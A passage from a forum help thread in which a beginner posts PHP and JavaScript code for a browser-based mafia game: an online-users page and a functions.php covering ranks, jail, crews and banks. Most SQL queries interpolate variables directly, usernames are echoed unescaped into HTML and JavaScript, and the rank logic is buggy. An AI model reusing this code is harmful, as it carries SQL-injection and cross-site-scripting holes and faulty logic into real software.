    $iti=mysql_fetch_object(mysql_query("SELECT * FROM site_stats WHERE id='1'"));
    $most=$iti->online;
    ?>
    <body>
    <style type="text/css">
    
    #skill{
    position: absolute;
    width: 150px;
    border: 1px solid black;
    padding: 2px;
    background-color: white;
    visibility: hidden;
    z-index: 100;
    
    }
    
    </style>
    </body><head>
    <div id="skill"></div>
    
    <script type="text/javascript">
    
    
    var offsetxpoint=-60 //Customize x offset of tooltip
    var offsetypoint=20 //Customize y offset of tooltip
    var ie=document.all
    var ns6=document.getElementById && !document.all
    var enabletip=false
    if (ie||ns6)
    var tipobj=document.all? document.all["skill"] : document.getElementById? document.getElementById("skill") : ""
    
    function ietruebody(){
    return (document.compatMode && document.compatMode!="BackCompat")? document.documentElement : document.body
    }
    
    function tip(thetext, thecolor, thewidth){
    if (ns6||ie){
    if (typeof thewidth!="undefined") tipobj.style.width=thewidth+"px"
    if (typeof thecolor!="undefined" && thecolor!="") tipobj.style.backgroundColor=thecolor
    tipobj.innerHTML=thetext
    enabletip=true
    return false
    }
    }
    
    function positiontip(e){
    if (enabletip){
    var curX=(ns6)?e.pageX : event.x+ietruebody().scrollLeft;
    var curY=(ns6)?e.pageY : event.y+ietruebody().scrollTop;
    //Find out how close the mouse is to the corner of the window
    var rightedge=ie&&!window.opera? ietruebody().clientWidth-event.clientX-offsetxpoint : window.innerWidth-e.clientX-offsetxpoint-20
    var bottomedge=ie&&!window.opera? ietruebody().clientHeight-event.clientY-offsetypoint : window.innerHeight-e.clientY-offsetypoint-20
    
    var leftedge=(offsetxpoint<0)? offsetxpoint*(-1) : -1000
    
    //if the horizontal distance isn't enough to accomodate the width of the context menu
    if (rightedge<tipobj.offsetWidth)
    //move the horizontal position of the menu to the left by it's width
    tipobj.style.left=ie? ietruebody().scrollLeft+event.clientX-tipobj.offsetWidth+"px" : window.pageXOffset+e.clientX-tipobj.offsetWidth+"px"
    else if (curX<leftedge)
    tipobj.style.left="5px"
    else
    //position the horizontal position of the menu where the mouse is positioned
    tipobj.style.left=curX+offsetxpoint+"px"
    
    //same concept with the vertical position
    if (bottomedge<tipobj.offsetHeight)
    tipobj.style.top=ie? ietruebody().scrollTop+event.clientY-tipobj.offsetHeight-offsetypoint+"px" : window.pageYOffset+e.clientY-tipobj.offsetHeight-offsetypoint+"px"
    else
    tipobj.style.top=curY+offsetypoint+"px"
    tipobj.style.visibility="visible"
    }
    }
    
    function hide(){
    if (ns6||ie){
    enabletip=false
    tipobj.style.visibility="hidden"
    tipobj.style.left="-1000px"
    tipobj.style.backgroundColor=''
    tipobj.style.width=''
    }
    }
    
    document.onmousemove=positiontip
    
    </script></body>
    <html><head><link rel="stylesheet" href="includes/in.css" type="text/css">
    <script type="text/javascript" src="includes/overlib.js"></script><style type="text/css">
    <!--
    .style1 {color: #fbf7f7}
    .style2 {color: #fbf7f7}
    -->
    </style></head><div id=overDiv style="position:absolute; visibility:hidden; z-index:1000;"></div>
    
    </head>
    
    <body>
    <table width="70%" border="0" align="center" cellpadding="0" cellspacing="3">
      <tr> 
        <td><table class="main" width=100% border="1" cellpadding="2" cellspacing="0" bordercolor=black>
            <tr> 
              <td class=tableheading><center class=bold>
                  Users Online </center></td>
            </tr>
            <tr bgcolor=white>
              <td class=tip><div align="center">Users online in past 10mins.</div></td>
            </tr>
            
              <td class=tablearea align=center>
                <?
    			$timenow=time();
    $select = mysql_query("SELECT * FROM users WHERE online > '$timenow' AND ghostmode='0' ORDER by id ASC");
    $num = mysql_num_rows($select);
    if ($num > $most)
    {
      mysql_query("UPDATE `site_stats` SET `online`=$num WHERE id='1'");
    }
    
    while ($i = mysql_fetch_object($select)){
    if ($i->crew == "0"){
    $crew="None";
    }else{
    $crew=$i->crew;
    }
    if ($i->last_oc > time()){
    $oc="<font color=red>Unavaliable</font>";
    }else{
    $oc="<font color=green>Avaliable</font>";
    }
    if ($i->get_away_time > time()){
    $ga="<font color=red>Unavaliable</font>";
    }else{
    $ga="<font color=green>Avaliable</font>";
    }
    
    if($i->userlevel=="1"){
    $echo = "<font color=green>$i->username</font>";
    }elseif ($i->userlevel=="2"){
    $echo = "<font color=yellow>$i->username</font>";
    }elseif ($i->userlevel=="3"){
    $echo = "<font color=orange>$i->username</font>";
    }elseif ($i->userlevel=="4"){
    $echo = "<font color=0077ff>$i->username</font>";
    }elseif ($i->userlevel=="5"){
    $echo = "<font color=red>$i->username</font>";
    }elseif ($i->userlevel=="6"){
    $echo = "<font color=black>$i->username</font>";
    }else{
    $echo = "$i->username";
    }
    $don=mysql_num_rows(mysql_query("SELECT * FROM donaters WHERE username='$i->username'"));
    if ($don != "0"){
    $echo .= "<font color=GOLD>*</font>";
    }
    $rhm=mysql_num_rows(mysql_query("SELECT * FROM crews WHERE rhm='$i->username'"));
    
    if ($rhm != "0"){
    $echo = "<i>$echo</i>";
    
    }
    
    $leader=mysql_num_rows(mysql_query("SELECT * FROM crews WHERE owner='$i->username'"));
    
    if ($leader != "0"){
    $echo = "<b>$echo</b>";
    
    }
    
    
    $friend=mysql_num_rows(mysql_query("SELECT * FROM friends WHERE person='$i->username' AND type='Friend' AND username='$username'"));
    if ($friend != "0"){
    $echo = "<u>$echo</u>";
    
    }
    
    
    
    echo "<a href='profile.php?viewuser=$i->username' onMouseover=\"tip('<b>Username:</b> <i>$i->username</i> <br><b>Crew:</b> <i>$crew</i><br><b>OC Status:</b> <i>$oc</i><br><b>GA Status:</b> <i>$ga</i><br><b>Rank:</b> <i>$i->rank</i>')\";
    onMouseout=\"hide()\"> $echo </a>,";
    
    } ?>
              </td>
            </tr>
          </table></td>
      </tr>
      <tr> 
        <td> 
          <table width="136" border="1" align="center" cellpadding="2" cellspacing="0" bordercolor=black class="main">
            <tr> 
              <td class=tableheading><center>
                  Total Online </center></td>
            </tr>
    
           
             <tr>
              <td class=tablearea><div align="center"><font color="#0000FF"><?php echo "$num"; ?></font> 
                </div></td>
            </tr>
          </table></td>
      </tr>
      <tr> 
         <td width="50%"><table width="50%" border="1" align="center" cellpadding="2" cellspacing="0" bordercolor="#000000" class="main">
          <tbody>
            <tr>
              <td class=tableheading colspan="3" class="header" scope="col"><center>User Key</center></td></td>
            </tr>
            <tr>
              <td  scope="col" bgcolor="red" width="83"> </td>
              <td class=tablearea width="258" colspan="2" class="style16" scope="col">- Owner</td>
            </tr>
            <tr>
              <td  scope="col" bgcolor="orange" width="83"> </td>
              <td class=tablearea width="258" colspan="2" class="style16" scope="col">- Admin</td>
            </tr>
            <tr>
              <td  height="5" bgcolor="green" scope="col"> </td>
              <td class=tablearea colspan="2" class="style16" scope="col">- Moderator</td>
            </tr>
            <tr>
              <th class=tablearea height="5" scope="col"><font color="#FFFF00">*</font></th>
              <td class=tablearea colspan="2" class="style16" scope="col">- Donators.</td>
            </tr>
             <tr>
              <th class=tablearea height="5" scope="col"><strong>BOLD</strong></th>
              <td class=tablearea colspan="2" class="style16" scope="col">- Crew Owners </td>
            </tr>
            <tr>
              <th class=tablearea height="5"  scope="col"><em>Italic</em></th>
              <td class=tablearea colspan="2" class="style16" scope="col">- Family RHM </td>
            </tr>
            <tr>
              <th class=tablearea height="5"  scope="col"><u>Underlined</u></th>
              <td class=tablearea colspan="2" class="style16" scope="col">- These are your friends. </td>
            </tr>
          </tbody>
        </table></td>
      </tr>
    </table>
    </table>
    </body>
    </html>

     

  13. i havent a clue how to sort it lol.. only been learning php coding for the past few days :D

     

    here is the functions,php

     

    <?php
    session_start(); 
    include_once "db_connect.php";
    $username=$_SESSION['username'];
    echo "<link rel=stylesheet href=includes/in.css type=text/css>";
    ?>
    <link rel=stylesheet href=includes/in.css type=text/css>
    <link rel=stylesheet href=in.css type=text/css>
    <?
    $query=mysql_query("SELECT * FROM users WHERE username='$username' LIMIT 1");
    $info = mysql_fetch_object($query);
    $don=mysql_num_rows(mysql_query("SELECT * FROM donaters WHERE username='$username'"));
    
    $date = gmdate('Y-m-d h:i:s');
    
    if ($info->health <= "0"){
    mysql_query("UPDATE users SET status='Dead' WHERE username='$username'");
    session_destroy();
    }
    if ($info->status == "Dead"){
    session_destroy();
    echo "You're Dead!";
    include("killed.php");
    exit();
    }
    
    if ($info->status == "Banned"){
    session_destroy();
    echo "You Have Been Banned";
    include("banned.php");
    exit();
    }
    
    $crew_check =mysql_query("SELECT * FROM crews");
    while($k = mysql_fetch_object($crew_check)){
    $user=mysql_fetch_object(mysql_query("SELECT * FROM users WHERE username='$k->owner'"));
    $rhm=mysql_fetch_object(mysql_query("SELECT * FROM users WHERE username='$k->rhm'"));
    if ($user->status == "Dead" || $user->status == "Banned"){
    if ($k->rhm != "0" && $rhm->status == "Alive"){
    mysql_query("UPDATE crews SET owner='$k->rhm', rhm='0' WHERE name='$k->name'"); 
    
    }
    elseif ($k->rhm == "0" || $rhm->status == "Dead" || $rhm->status == "Banned"){
    mysql_query("UPDATE `users` SET `crew`='0' WHERE `crew`='$k->name'");
    mysql_query("DELETE FROM crews WHERE name='$k->name'");
    
    }
    }
    }
    $bba=mysql_query("SELECT * FROM bank");
    while($nana =mysql_fetch_object($bba)){
    $ppl=mysql_fetch_object(mysql_query("SELECT * FROM users WHERE username='$nana->owner'"));
    if ($ppl->status == "Dead" || $ppl->status == "Banned"){
    mysql_query("UPDATE bank SET owner='0' WHERE id='$nana->id'");
    }
    
    }
    
    
    
    
    $oc_query=mysql_query("SELECT * FROM oc");
    while($ttfn = mysql_fetch_object($oc_query)){
    $user_oc=mysql_fetch_object(mysql_query("SELECT * FROM users WHERE username='$ttfn->leader'"));
    
    if ($user_oc->status == "Dead" || $user_oc->status == "Banned"){
    mysql_query("UPDATE users SET oc='0' WHERE username='$ttfn->we'");
    mysql_query("UPDATE users SET oc='0' WHERE username='$ttfn->ee'");
    mysql_query("UPDATE users SET oc='0' WHERE username='$ttfn->driver'");
    mysql_query("UPDATE users SET oc='0' WHERE username='$ttfn->leader'");
    mysql_query("DELETE FROM oc WHERE id='$ttfn->id'");
    
    }}
    
    
    function logincheck(){
    
    
    if (empty($_SESSION['username'])){
    echo "
    <SCRIPT LANGUAGE='JavaScript'>
    window.location='index.php';
    
    </script>
    ";
    exit();
    }}
    
    ////UPDATE ONLINE
    $time = time() + (60 * 10);
    mysql_query("UPDATE users SET online='$time' WHERE username='$username'");
    ///FINSH UPDATING ONLINE
    
    function makecomma($input)
    {
      
       if(strlen($input)<=3)
       { return $input; }
       $length=substr($input,0,strlen($input)-3);
       $formatted_input = makecomma($length).",".substr($input,-3);
       return $formatted_input;
    }
    /////////NOW TO THE BB CODES ETC....
    
    
    
    
    
    
    
    function rankcheck(){
    $username=$_SESSION['username'];
    $query=mysql_query("SELECT * FROM users WHERE username='$username' LIMIT 1");
    $info = mysql_fetch_object($query);
    $date = gmdate('Y-m-d h:i:s');
    
    if ($info->rank == "Tramp" && $info->rankpoints >= "350"){ $newrank="Thief"; $done="1"; }
    elseif ($info->rank == "Thief" && $info->rankpoints >= "750"){ $newrank="Hooligan"; $done="1"; }
    elseif ($info->rank == "Hooligan" && $info->rankpoints >= "2320"){ $newrank="Criminal"; $done="1"; }
    elseif ($info->rank == "Criminal" && $info->rankpoints >= "4000"){ $newrank="Gangster"; $done="1"; }
    elseif ($info->rank == "Gangster" && $info->rankpoints >= "6000"){ $newrank="Boss"; $done="1"; }
    elseif ($info->rank == "Boss" && $info->rankpoints >= "7200"){ $newrank="Supreme Boss"; $done="1"; }
    elseif ($info->rank == "Supreme Boss" && $info->rankpoints >= "11500"){ $newrank="Don"; $done="1"; }
    elseif ($info->rank == "Don" && $info->rankpoints >= "17500"){ $newrank="Legendary Don"; $done="1"; }
    elseif ($info->rank == "Legendary Don" && $info->rankpoints >= "150000"){ $newrank="Legendary Don"; $done="0"; }
    
    if (!$done){
    $done="0";
    }
    if ($done == "1"){
    
    mysql_query("UPDATE users SET rank='$newrank' WHERE username='$username'");
    mysql_query("INSERT INTO `inbox` ( `id` , `to` , `from` , `message` , `date` , `read` , `saved` , `event_id` ) 
    VALUES (
    '', '$username', '$username', 'You have been promoted to $newrank your doing well!', '$date', '0', '0', '0'
    )");
    
    }}
    
    rankcheck();
    ///////HOUSTON WE HAVE JAIL CHECK!
    
    
    $jail_check=mysql_query("SELECT * FROM jail");
    
    
    while($monster=mysql_fetch_object($jail_check)){
    
    if (time() > $monster->time_left){
    mysql_query("DELETE FROM jail WHERE username='$monster->username'");
    }}
    
    function maketime($last){
    $timenow = time();
    		if($last>$timenow){
    				$order = $last-$timenow;
    					while($order >= 60){
    						$order = $order-60;
    						$ordermleft++;
    					}
    					while($ordermleft >= 60){
    						$ordermleft = $ordermleft-60;
    						$orderhleft++;
    					}
    
    					if($ordermleft == 0){
    						$ordermleft = "";
    					} else {
    					$ordermleft = "$ordermleft Minutes";
    					}
    					if($orderhleft == 0){
    						$orderhleft = "";
    					} else {
    					$orderhleft = "$orderhleft Hours";
    					}	
    return "$orderhleft $ordermleft $order Seconds";
    }}
    
    function loose_energy(){
    $username=$_SESSION['username'];
    $query=mysql_query("SELECT * FROM users WHERE username='$username' LIMIT 1");
    $info = mysql_fetch_object($query);
    
    $energy=$info->energy - rand(1,3);
    if ($energy <= "0"){
    $update=health;
    $thing=$info->health - rand(1,3);
    $energy_new="0";
    
    }elseif ($energy > "0"){
    $update=energy;
    $thing=$info->energy - rand(1,3);
    }
    if (!$energy_new){
    mysql_query("UPDATE users SET $update='$thing' WHERE username='$username'");
    }elseif ($energy_new){
    
    mysql_query("UPDATE users SET $update='$thing', energy='0' WHERE username='$username'");
    }
    }
    
    
    $most_online=mysql_fetch_object(mysql_query("SELECT * FROM site_stats WHERE id='1'"));
    $timenow=time();
    $now_online =mysql_num_rows(mysql_query("SELECT * FROM users WHERE online > '$timenow'"));
    
    if ($now_online > $most_online->online){
    
    mysql_query("UPDATE site_stats SET online='$now_online' WHERE id='1'");
    }
    
    
    
    $drop =mysql_query("SELECT * FROM casinos");
    
    while($tard=mysql_fetch_object($drop)){
    $per = mysql_fetch_object(mysql_query("SELECT * FROM users WHERE username='$tard->owner'"));
    if ($per->status == "Dead" || $per->status == "Banned"){
    mysql_query("UPDATE casinos SET owner='0' WHERE casino='$tard->casino' AND owner='$tard->owner'");
    }
    
    }
    $drop_bar =mysql_query("SELECT * FROM bar");
    
    while($tard_bar=mysql_fetch_object($drop_bar)){
    $per_bar = mysql_fetch_object(mysql_query("SELECT * FROM users WHERE username='$tard_bar->owner'"));
    if ($per_bar->status == "Dead" || $per_bar->status == "Banned"){
    mysql_query("UPDATE bar SET owner='0' WHERE owner='$tard_bar->owner'");
    }
    
    }
    $drop_bf =mysql_query("SELECT * FROM bf");
    
    while($tard_bf=mysql_fetch_object($drop_bf)){
    $per_bf = mysql_fetch_object(mysql_query("SELECT * FROM users WHERE username='$tard_bf->owner'"));
    if ($per_bf->status == "Dead" || $per_bf->status == "Banned"){
    mysql_query("UPDATE bf SET owner='0' WHERE owner='$tard_bf->owner'");
    }
    
    }
    if ($info->banktime <= time() && $info->bank > "0"){
    $nmoney =  10 * $info->bank / 100;
    $money_in = $info->bank + $nmoney;
    $money_in= round($money_in); 
    $recieve = $info->money + $money_in;
    
    mysql_query("UPDATE users SET money = '$recieve', bank='0', banktime='0' WHERE username='$username'");
    
    }
    $drop_und =mysql_query("SELECT * FROM shop");
    
    while($tard_und=mysql_fetch_object($drop_und)){
    $per_und = mysql_fetch_object(mysql_query("SELECT * FROM users WHERE username='$tard_und->owner'"));
    if ($per_und->status == "Dead" || $per_und->status == "Banned"){
    mysql_query("UPDATE shop SET owner='0' WHERE owner='$tard_und->owner'");
    }
    
    }
    $user_info=mysql_fetch_object(mysql_query("SELECT * FROM user_info WHERE username='$username'"));
    if ($user_info->jail_able == "1" && $user_info->jail_untill <= time()){
    mysql_query("UPDATE user_info SET jail_able='0' WHERE username='$username'");
    
    }
    
    
    $user_shit=mysql_fetch_object(mysql_query("SELECT * FROM user_info WHERE username='$username'"));
    
    if ($user_shit->last_respect < time() && $fetch->rank != "Tramp"){
    if ($info->rank == "Paper Kid"){ $new_res="1"; }elseif($info->rank == "Thief"){
    $new_res="2";   }elseif($info->rank == "Hooligan"){ 
    $new_res="3";   }elseif($info->rank == "Criminal"){
    $new_res="4";   }elseif($info->rank == "Gangster"){  
    $new_res="5";   }elseif($info->rank == "Boss"){  
    $new_res="6";   }elseif($info->rank == "Supreme Boss"){  
    $new_res="7";   }elseif($info->rank == "Don"){  
    $new_res="8";   }elseif($info->rank == "Legendry Don"){  
    $new_res="9";   }elseif($info->rank == "Head Moderator"){  
    $new_res="10"; }elseif($info->rank == "Moderator"){  
    $new_res="11"; }elseif($info->rank == "Admin"){  
    $new_res="12"; }elseif($info->rank == "MadeMan"){ 
    $new_res="13"; }elseif($info->rank == "General"){ 
    $new_res="14"; }elseif($info->rank == "Capo"){ 
    $new_res="15"; }elseif($info->rank == "WarMaster"){ 
    $new_res="16"; }elseif($info->rank == "Boss"){ 
    $new_res="17"; }elseif($info->rank == "Godfather"){ 
    $new_res="18"; }elseif($info->rank == "Don"){ 
    $new_res="19"; }elseif($info->rank == "Boss of Bosses"){ 
    $new_res="20"; }elseif($info->rank == "Mob Boss"){ 
    $new_res="21"; }elseif($info->rank == "WarGod"){ 
    $new_res="22"; }elseif($info->rank == "Slayer"){ 
    $new_res="23"; }elseif($info->rank == "Messiah"){ 
    $new_res="24"; }elseif($info->rank == "SupremeBeing"){ 
    $new_res="25"; }elseif($info->rank == "God"){ 
    
    
    
    $now=time() + (3600 * 24 * 7);
    mysql_query("UPDATE user_info SET respect='$new_res', last_respect='$now' WHERE username='$username'"); 
    
    }
    }
    ?>

     

×
×
  • Create New...

Important Information

We have placed cookies on your device to help make this website better. You can adjust your cookie settings, otherwise we'll assume you're okay to continue.